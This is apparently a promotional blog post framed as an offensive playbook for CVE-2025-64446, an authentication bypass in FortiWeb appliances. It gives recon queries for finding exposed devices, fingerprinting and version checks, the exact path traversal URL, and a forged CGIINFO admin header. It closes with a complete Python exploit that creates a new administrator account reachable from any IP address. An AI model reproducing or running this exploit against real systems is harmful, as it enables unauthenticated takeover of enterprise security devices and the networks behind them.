# CVE-2025–64446 β€” A Red Team Offensive Playbook for FortiWeb RCE via Path Traversal + Authentication {% tabs %} {% tab title="Support VeryLazyTech πŸŽ‰" %} * Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁** * **Follow** us on: * **βœ– Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.** * **πŸ‘Ύ Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.** * **πŸ“œ Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.** * **πŸ“Ί YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.** * **πŸ“© Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.** * **πŸ•΅οΈβ€β™‚οΈ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.** * Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses. πŸ“š {% endtab %} {% endtabs %} Fortinet products are some of the most battle-tested appliances protecting enterprise networks today β€” and ironically, the moment a Forti appliance becomes vulnerable, the blast radius is catastrophic. In late 2025, one of the most dangerous vulnerabilities ever discovered in **FortiWeb** surfaced: **CVE-2025–64446**, a chaining vulnerability that combines: * **Path Traversal** * **Internal CGI handler exposure** * **Authentication Bypass via header forging** * **Privilege escalation to full administrative control** All **without authentication**.\ All **via a single HTTP request**.\ All **remotely exploitable**. This article is not marketing fluff. This is the **real offensive playbook** β€” mapped exactly as a red teamer, exploit developer, or bug bounty hunter would execute it. Press enter or click to view image in full size

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### 1. Recon #### Goal: Identify FortiWeb appliances exposed online Your first step in any offensive operation is **mapping what’s alive and internet-facing**. #### Fofa Query ``` product:"FortiWeb" ``` Look for: * FortiWeb login pages * FortiWeb WAF portals * Exposed management ports (80/443/8443) * β€œServer: FortiWeb” banners * TLS certificates containing β€œFortinet”, β€œFortiWeb” #### Why recon matters CVE-2025–64446 is only exploitable if: * The **management interface** is exposed * The appliance is **pre-patch** * The API routing stack is still using the vulnerable paths * The internal CGI handler (`fwbcgi`) is reachable Recon gives you everything you need to decide whether to proceed. ### 2. Fingerprinting #### Goal: Confirm the device is FortiWeb (not FortiGate, FortiProxy, etc.) ### Banner grabbing ``` curl -k -I https://TARGET:8443 ``` Typical output: ``` Server: FortiWeb Set-Cookie: APSCOOKIE_xxx=... ``` FortiWeb also frequently exposes: * `/api/v2.0/` * `/favicon.ico` with a distinctive hash * Unique HTML comments such as `` ### Fingerprint Indicators * `Server: FortiWeb` * `/api/v2.0/cmdb/...` returns 403 (expected pre-auth) * TLS CN often includes β€œFWB” Once fingerprinted, move on to versioning. ### 3. Version Detection #### Goal: Determine if the appliance is within the vulnerable version ranges. #### Affected Versions (Based on NVD, vendor advisories) BranchVulnerable Versions7.0.x7.0.0–7.0.117.2.x7.2.0–7.2.117.4.x7.4.0–7.4.97.6.x7.6.0–7.6.48.0.x8.0.0–8.0.1 #### Version Endpoint Probe FortiWeb exposes version metadata at: ``` /api/v2.0/system/status ``` Anonymous requests usually fail, but vulnerable systems sometimes leak partial version strings in: * Error messages * Redirect headers * HTML comments * SSL certificate metadata Regardless of method, once you confirm the version fits the vulnerable range, you move to exploitation. ### 4. Attack Method 1: Path Traversal #### Goal: Break out of API routing and reach internal CGI. This is the heart of CVE-2025–64446. The vulnerable endpoint is reached by abusing: ``` /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi ``` ### Key observations * `%3f` is URL-encoded `?` * FortiWeb’s routing parser mishandles `%3f` in combination with path segments * Traversal (`../../../../../`) escapes the API sandbox * You end up executing an internal CGI script: **fwbcgi** `fwbcgi` is normally reachable **only after login**, making this deadly. ### Result ➑ You fully bypass the FortiWeb API access controls\ ➑ You reach a privileged internal handler\ ➑ Now you’re at step 2: breaking authentication ### 5. Attack Method 2: CGIINFO Manipulation #### Goal: Forge an internal authentication identity Once `fwbcgi` executes, it expects an internal header: ``` CGIINFO: ``` Usually generated by the **authenticated GUI**, it carries identity metadata. ### What the JSON looks like ``` { "username": "admin", "profname": "prof_admin", "vdom": "root", "loginname": "admin" } ``` This is terrifying because: * **The handler trusts the header blindly.** * **No signature.** * **No HMAC.** * **No token validation.** If you send it, you **become admin**. ### Your exploit turns this into: βœ” Full auth bypass\ βœ” Full privilege escalation\ βœ” Full remote admin This is the second half of the CVE chain. ### 6. Attack Method 3: Admin User Injection (The Exploit) #### Goal: Create a new admin user using forged privileges. This is where your exploit shines. Below is your final exploit script, modified for `host:port` and with color, formatting, and full operational clarity. #### πŸ”₯ Full Exploit PoC (Python) #### [CVE-2025–64446 Admin Account Injection](https://github.com/verylazytech/CVE-2025-64446) ``` import http.client import ssl import base64 import json from uuid import uuid4 import sys # ====================== # ANSI COLOR CODES # ====================== RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" MAGENTA = "\033[95m" CYAN = "\033[96m" WHITE = "\033[97m" BOLD = "\033[1m" RESET = "\033[0m" banner = f""" {MAGENTA}{BOLD} __ __ _ _____ _ \ \ / /__ _ __ _ _| | __ _ _____ |_ _|__ ___| |__ \ \ / / _ \ '__| | | | | / _` |_ / | | || |/ _ \/ __| '_ \ \ V / __/ | | |_| | |__| (_| |/ /| |_| || | __/ (__| | | | \_/ \___|_| \__, |_____\__,_/___|\__, ||_|\___|\___|_| |_| |___/ |___/ ____ ___ ____ ____ __ _ _ _ _ _ _ __ _____ _____ |___ \ / _ \___ \| ___| / /_ | || | | || | | || | / /_ / __\ \ / / _ \ __) | | | |__) |___ \ | '_ \| || |_| || |_| || |_| '_ \ | (__ \ V / __/ / __/| |_| / __/ ___) | | (_) |__ _|__ _|__ _| (_) | \___| \_/ \___| |_____|\___/_____|____/ \___/ |_| |_| |_| \___/ {CYAN} cve-2025-64446.py {WHITE} (*) {YELLOW}FortiWeb Authentication Bypass Artifact Generator{WHITE} - {GREEN}VeryLazyTech{WHITE} (@VeryLazyTech) CVEs: {RED}[CVE-2025-64446]{RESET} """ print(banner) # ====================== # ARG CHECK # ====================== if len(sys.argv) != 2: print(f"{RED}[-] Usage: python3 cve-2025-64446.py {RESET}") sys.exit(1) user = str(uuid4())[:8] password = user try: host, port = sys.argv[1].split(":") port = int(port) except ValueError: print(f"{RED}[-] Invalid format! Use {RESET}") sys.exit(1) raw_path = "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi" cgiinfo_json = { "username": "admin", "profname": "prof_admin", "vdom": "root", "loginname": "admin" } cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode() headers = { "CGIINFO": cgiinfo_b64, "Content-Type": "application/x-www-form-urlencoded", } body = { "data": { "q_type": 1, "name": user, "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0", "trusthostv6": "::/0", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "comments": "", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": password } } body_data = json.dumps(body) context = ssl._create_unverified_context() conn = http.client.HTTPSConnection(host, port, context=context) print(f"{BLUE}[~] Sending exploit payload to {host}:{port} ...{RESET}") conn.request("POST", raw_path, body=body_data, headers=headers) resp = conn.getresponse() # ====================== # RESULT OUTPUT # ====================== if resp.status == 200: print(f"{GREEN}[βœ“] Exploit sent successfully!{RESET}") print(f"{YELLOW}[*] New user created β†’ {GREEN}{user}{RESET}") print(f"{YELLOW}[*] Password β†’ {GREEN}{password}{RESET}") else: print(f"{RED}[βœ—] Exploit failed β€” Status Code: {resp.status}{RESET}") ``` *** {% hint style="success" %} Learn & practice [**For the OSCP.**](https://whop.com/verylazytech/)
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